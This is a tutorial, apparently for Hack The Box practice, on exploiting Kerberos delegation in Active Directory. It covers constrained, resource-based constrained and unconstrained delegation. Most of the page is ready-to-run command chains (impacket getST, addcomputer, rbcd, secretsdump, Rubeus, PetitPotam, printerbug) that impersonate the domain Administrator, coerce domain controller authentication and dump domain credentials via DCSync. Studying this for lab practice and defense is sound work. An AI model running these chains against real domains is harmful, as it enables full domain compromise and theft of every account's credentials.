Kerberos delegation: unconstrained, constrained and RBCD explained and exploited

The three kinds of Kerberos delegation in AD, how to find them, and how to abuse each with getST, rbcd.py and addcomputer to impersonate the administrator.

· 4 min read

Delegation exists for a legitimate case: a website that, when querying a database, needs to do so on behalf of the user browsing it. Kerberos supports this in three ways, and all three can be abused to impersonate any user (the administrator included) to a given service. That is Kerberos delegation, with machines such as Support, Intelligence or Rebound.

Finding it

impacket-findDelegation corp.local/user:'Password1' -dc-ip 10.10.10.10
AccountName  AccountType  DelegationType                      DelegationRightsTo
-----------  -----------  ----------------------------------  ------------------------
WEB01$       Computer     Unconstrained                       N/A
svc_sql      Person       Constrained w/ Protocol Transition  cifs/dc01.corp.local
FS01$        Computer     Resource-Based Constrained          WEB01$

In BloodHound they show up as AllowedToDelegate, AllowedToAct and the computer's Unconstrained Delegation property. And a GenericWrite/GenericAll edge over a computer almost always means RBCD.

1. Constrained delegation

The account has a list of services (msDS-AllowedToDelegateTo) to which it may impersonate any user. If you control that account (its password or hash), request a ticket as the administrator for one of those services:

impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator corp.local/svc_sql:'Password1' -dc-ip 10.10.10.10
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass dc01.corp.local

Tip

The ticket's service name is not protected. A ticket for cifs/dc01 also works for host/dc01, http/dc01 or ldap/dc01: pass -altservice ldap to getST and you can DCSync instead of just reading files.

If it is without protocol transition ("Kerberos only"), you need a ticket for the target user that has already gone through the account, or to combine it with RBCD; in the catalogue that is less common.

On Intelligence, the account with delegation is a gMSA whose password you can read (see gMSA and the ACL abuse guide).

2. Resource-Based Constrained Delegation (RBCD)

Here the list goes the other way: the target computer says which accounts may delegate to it, in its msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If you can write that attribute (with GenericWrite, GenericAll or WriteProperty over the computer), you grant the right to yourself.

You need an account with an SPN: the usual move is creating a computer, because any user can create up to 10 (MachineAccountQuota).

# 1. Create a computer you control
impacket-addcomputer corp.local/user:'Password1' -computer-name 'PWN$' -computer-pass 'Pwn123!' -dc-ip 10.10.10.10

# 2. Tell the target to trust it
impacket-rbcd -delegate-from 'PWN$' -delegate-to 'DC01$' -action write corp.local/user:'Password1' -dc-ip 10.10.10.10

# 3. Request a ticket as the administrator for the target
impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator corp.local/'PWN$':'Pwn123!' -dc-ip 10.10.10.10

# 4. Use it
export KRB5CCNAME=Administrator@[email protected]
impacket-secretsdump -k -no-pass dc01.corp.local

That is exactly the Support chain: a group with GenericAll over the DC. Check the quota first:

nxc ldap 10.10.10.10 -u user -p 'Password1' -M maq

If the quota is 0, you need another account with an SPN you already control (a service account or a compromised computer), or the variant with a user without an SPN (SPN-less RBCD), which is touchier because it renders that user's password unusable.

3. Unconstrained delegation

A computer with this setting receives a copy of the TGT of every user who authenticates to it and keeps it in memory. If you are an administrator on that computer and get the DC to authenticate to it, you have the DC's TGT: DCSync.

# On the computer with delegation, as administrator: wait for new TGTs
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
# From your box, coerce the DC into connecting to the delegation computer
python3 PetitPotam.py -u user -p 'Password1' -d corp.local web01.corp.local dc01.corp.local
# or through the Spooler: python3 printerbug.py corp.local/user:'Password1'@dc01.corp.local web01.corp.local

Rubeus hands you DC01$'s TGT in base64; import it (Rubeus.exe ptt /ticket:...) and DCSync with Mimikatz, or convert it to .ccache (impacket-ticketConverter) and use secretsdump -k. How to coerce the authentication is in the NTLM relay and coercion guide.

Note

There is a Linux-side variant with krbrelayx: if you control an account with unconstrained delegation (and can add a DNS record), you do not need a shell on that computer.

Common errors

  • KDC_ERR_BADOPTION from getST: the user to impersonate is in Protected Users or flagged "sensitive and cannot be delegated". Try another administrator.
  • KDC_ERR_S_PRINCIPAL_UNKNOWN: the SPN is misspelt or missing the FQDN. Use cifs/dc01.corp.local, not cifs/10.10.10.10.
  • The ticket works in getST but psexec fails: use the name (dc01.corp.local) rather than the IP, since Kerberos goes by name. Make sure the name resolves (/etc/hosts).
  • KRB_AP_ERR_SKEW: the clock.

What next

With an administrator ticket for the DC, dump the domain (DCSync). To clean up on a real engagement: impacket-rbcd ... -action flush and delete the computer you created. The Active Directory cheat sheet has the Rubeus variants from Windows.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Kerberos delegation (RBCD) 13 machines

See all 13 machines →

Spotted a mistake or something missing? Tell us